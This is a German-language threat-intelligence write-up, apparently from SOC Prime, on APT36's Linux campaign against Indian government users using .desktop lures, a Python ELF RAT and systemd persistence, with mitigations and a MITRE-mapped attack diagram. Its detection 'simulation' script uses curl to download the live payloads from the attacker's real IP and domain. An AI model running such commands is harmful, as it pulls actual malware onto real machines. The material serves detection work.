SOC Prime Bias: Kritisch

04 Dez. 2025 18:28

APT36 setzt Python ELF-Malware gegen indische Regierungseinrichtungen ein

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
APT36 setzt Python ELF-Malware gegen indische Regierungseinrichtungen ein
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

APT36 (Transparent Tribe) führte eine Spear-Phishing-Kampagne durch, die bösartige Linux- .desktop-Verknüpfungsdateien auf Nutzer der indischen Regierung abwarf. Diese Launcher rufen einen Python-basierten ELF RAT namens swcbc von einem von Angreifern kontrollierten Server ab und führen ihn aus. Die Malware bleibt durch einen benutzerebenen systemd-Dienst persistent und kommuniziert über HTTP mit ihrem C2, um Daten zu exfiltrieren und Befehle auszuführen. Die Kampagne unterstreicht die wachsende Fähigkeit der Gruppe, effektiv in Linux-Umgebungen zu agieren.

Untersuchung

Die Untersuchung folgte der Kette vom ursprünglichen .zip-Anhang zum .desktop-Launcher, dem Tarn-PDF und den zwei vom Akteur kontrollierten IP-Adresse heruntergeladenen Nutzlasten (swcbc ELF-Binärdatei und swcbc.sh-Skript). Die Analyse zeigte, dass die ELF-Binärdatei ein mit PyInstaller verpackter Python RAT ist, die Systemprofilerstellung, Datei-Upload/Download, Bildschirmaufnahmen und Selbstentfernung ermöglicht. Persistenz wird durch die Registrierung eines systemd-Dienstes im Konfigurationsverzeichnis des Benutzers implementiert.

Minderung

Empfohlene Abwehrmaßnahmen umfassen das Blockieren der Ausführung von .desktop-, .sh- und ELF-Binärdateien, die per Email empfangen werden, und das Erzwingen der Sandbox-Ausführung für verdächtige Anhänge. Deaktivieren Sie die automatische Ausführung von weltbeschreibbaren Pfaden wie /tmp und verwenden Sie noexec-Mount-Optionen, wo möglich. Überwachen Sie DNS- und HTTP-Verkehr auf Verbindungen zur identifizierten bösartigen Domain und IP. Erzwingen Sie eine strikte Anwendungssteuerung für Werkzeuge wie curl und LibreOffice.

Reaktion

Wenn Aktivität erkannt wird, isolieren Sie den betroffenen Linux-Host, sammeln Sie die bösartigen Artefakte und die systemd-Diensteinheit und entfernen Sie das versteckte ~/.swcbc-Verzeichnis. Verwenden Sie forensische Werkzeuge, um die eindeutige Kennung des Hosts zu extrahieren und beenden Sie laufende C2-Sitzungen. Aktualisieren Sie die Erkennungsinhalte mit den beobachteten IOCs und jagen Sie proaktiv nach ähnlichen Mustern in der gesamten Umgebung.

mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef artifact fill:#ffdd88 classDef malware fill:#ff9999 classDef process fill:#c2f0c2 %% Nodes – Actions (MITRE Techniques) initial_access_phishing[„<b>Aktion</b> – <b>T1566 Phishing</b>: Spearphishing-Anhang<br /><b>Beschreibung</b>: Gegner sendet ein bösartiges .desktop-Verknüpfungsdokument an das Ziel.“] class initial_access_phishing action user_execution_file[„<b>Aktion</b> – <b>T1204.002 Benutzer-Ausführung</b>: Bösartige Datei<br /><b>Beschreibung</b>: Opfer öffnet die .desktop-Datei, wodurch das eingebettete Skript ausgeführt wird.“] class user_execution_file action obfuscation[„<b>Aktion</b> – <b>T1027 Verschleierte Dateien</b>: Daten-Codierung<br /><b>Beschreibung</b>: Skript ist als Base64-kodierter String gespeichert und das ELF-Payload ist mit PyInstaller gepackt.“] class obfuscation action masquerading[„<b>Aktion</b> – <b>T1036 Maskierung</b><br /><b>Beschreibung</b>: Die .desktop-Verknüpfung ahmt ein legitimes Office-Dokument nach und öffnet ein Ablenkungs-PDF.“] class masquerading action ingress_tool_transfer[„<b>Aktion</b> – <b>T1105 Instrumententransfer</b><br /><b>Beschreibung</b>: Skript lädt ein ELF-Binärprogramm und ein Shell-Skript von einem entfernten HTTP-Server herunter.“] class ingress_tool_transfer action execution_unix_shell[„<b>Aktion</b> – <b>T1059 Befehl und Skripting-Interpreter</b>: Unix-Shell<br /><b>Beschreibung</b>: Downloader gewährt Ausführungserlaubnis und führt die Nutzlasten im Hintergrund aus.“] class execution_unix_shell action persistence_systemd[„<b>Aktion</b> – <b>T1543 Erstellen oder Modifizieren eines Systemprozesses</b><br /><b>Beschreibung</b>: Bösartiger systemd-Benutzerdienst wird erstellt und aktiviert, um beim Login zu starten.“] class persistence_systemd action persistence_boot_script[„<b>Aktion</b> – <b>T1037.004 Start- oder Anmeldeinitialisierungsskripte</b><br /><b>Beschreibung</b>: Benutzerebenensystemd-Dienst fungiert als Start- oder Anmeldeskript zur Persistenz.“] class persistence_boot_script action discovery_system_info[„<b>Aktion</b> – <b>T1082 Systeminformationsentdeckung</b><br /><b>Beschreibung</b>: ELF RAT sammelt OS-Version, Hostname, Benutzername und MAC-Adresse.“] class discovery_system_info action discovery_file_dir[„<b>Aktion</b> – <b>T1083 Datei- und Verzeichnisentdeckung</b><br /><b>Beschreibung</b>: Malware durchsucht das Dateisystem, um Dateien zur Exfiltration zu lokalisieren.“] class discovery_file_dir action command_control_app_layer[„<b>Aktion</b> – <b>T1071 Anwendungsprotokoll</b><br /><b>Beschreibung</b>: Implantat kommuniziert mit C2-Server über HTTP GET/POST.“] class command_control_app_layer action data_encoding[„<b>Aktion</b> – <b>T1132 Daten-Codierung</b><br /><b>Beschreibung</b>: C2-Nutzlasten sind Base64-verschlüsselt, um Inhalte zu verbergen.“] class data_encoding action collection_local_data[„<b>Aktion</b> – <b>T1005 Lokale Daten</b><br /><b>Beschreibung</b>: RAT archiviert ausgewählte Dateien in ZIP-Archiven für den Upload.“] class collection_local_data action exfiltration_http[„<b>Aktion</b> – <b>T1005 Lokales System (Exfiltration)</b><br /><b>Beschreibung</b>: Archive werden über HTTP POST-Anfragen an den Angreifer gesendet.“] class exfiltration_http action %% Nodes – Artifacts / Malware file_desktop[„<b>Artefakt</b> – <b>.desktop-Verknüpfung</b><br /><b>Datei</b>: Analysis_Proc_Report_Gem.desktop<br /><b>Zweck</b>: Löst Base64-Skript-Ausführung aus.“] class file_desktop artifact script_base64[„<b>Malware</b> – <b>Base64-Skript</b><br /><b>Inhalt</b>: Dekodiert und führt die Downloader-Logik aus.“] class script_base64 malware elf_payload[„<b>Malware</b> – <b>ELF-Binärdatei (swcbc)</b><br /><b>Typ</b>: Verpackter RAT geliefert via PyInstaller.“] class elf_payload malware shell_script_payload[„<b>Malware</b> – <b>Shell-Skript (swcbc.sh)</b><br /><b>Zweck</b>: Hilfsskript zum Einrichten der Persistenz.“] class shell_script_payload malware systemd_service[„<b>Artefakt</b> – <b>Systemd-Dienstdatei</b><br /><b>Ort</b>: ~/.config/systemd/user/swcbc.service<br /><b>Effekt</b>: Führt ELF-Nutzlast beim Benutzer-Login aus.“] class systemd_service artifact %% Edges – Attack Flow initial_access_phishing –>|liefert aus| file_desktop file_desktop –>|ruft auf| script_base64 script_base64 –>|verschleiert| obfuscation script_base64 –>|maskiert als | masquerading script_base64 –>|lädt herunter| elf_payload script_base64 –>|lädt herunter| shell_script_payload ingress_tool_transfer –>|ermöglicht den Download von| elf_payload ingress_tool_transfer –>|ermöglicht den Download von| shell_script_payload script_base64 –>|führt aus über| execution_unix_shell elf_payload –>|läuft als| process_elf[(„ELF-Prozess“)] class process_elf process process_elf –>|stellt her| command_control_app_layer process_elf –>|sammelt Systeminformationen über| discovery_system_info process_elf –>|enumeriert Dateien über| discovery_file_dir process_elf –>|archiviert Dateien über| collection_local_data collection_local_data –>|kodiert Daten über| data_encoding collection_local_data –>|exfiltriert über| exfiltration_http exfiltration_http –>|nutzt| command_control_app_layer shell_script_payload –>|erstellt| systemd_service systemd_service –>|aktiviert| persistence_systemd persistence_systemd –>|bietet an| persistence_boot_script persistence_boot_script –>|gewährleistet Ausführung beim Login| execution_unix_shell

Angriffsablauf

Simulation Ausführung

Voraussetzung: Der Telemetrie- & Baseline-Pre‑flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und das Narrativ MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu Fehldiagnosen.

  • Angriffserzählung & Befehle:
    Ein APT‑36-Operator hostet drei Nutzlasten auf kompromittierter Infrastruktur und verteilt deren URLs über eine Phishing-E-Mail. Das Opfer, das einen Webbrowser verwendet, der so konfiguriert ist, den Traffic über den Firmenproxy zu leiten, klickt auf jeden Link. Der Proxy protokolliert jede GET-Anforderung und erstellt Einträge, die der Regel entsprechenurl|allListe. Die Nutzlasten sind:

    1. Eine rohe ELF-Binärdatei (swcbc), die über HTTP geliefert wird.
    2. Ein Shell-Skript (swcbc.sh), das bei Ausführung die ELF installiert.
    3. Ein Tarn-PDF (Analysis_Proc_Report_Gem.pdf), das den Benutzer dazu ermutigen soll, die Datei zu öffnen, während das bösartige ELF im Hintergrund läuft.
  • Regression Testskript:

    #!/usr/bin/env bash
    # APT‑36 bösartiger URL-Download-Simulation – löst die Sigma-Regel aus.
    set -euo pipefail
    
    # Definieren Sie die bösartigen URLs (exakte Zeichenfolgen von der Sigma-Regel)
    urls=(
        "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc"
        "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh"
        "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf"
    )
    
    # Laden Sie jede Nutzlast über den Unternehmensproxy herunter.
    # Nehmen Sie an, dass die Umgebungsvariablen http_proxy/https_proxy auf den Proxy verweisen.
    for u in "${urls[@]}"; do
        echo "[*] Downloading $u via proxy..."
        curl -s -O "$u"
    done
    
    echo "[+] All malicious files downloaded. Check proxy logs for matching URLs."

    Speichern Sie das Skript als apt36_simulation.sh, machen Sie es ausführbar (chmod +x apt36_simulation.sh) und führen Sie es auf dem geschützten Arbeitsplatz aus.

  • Aufräumbefehle:

    #!/usr/bin/env bash
    # Entfernen Sie alle Dateien, die durch die Simulation erstellt wurden
    rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf
    echo "[+] Aufräumen abgeschlossen."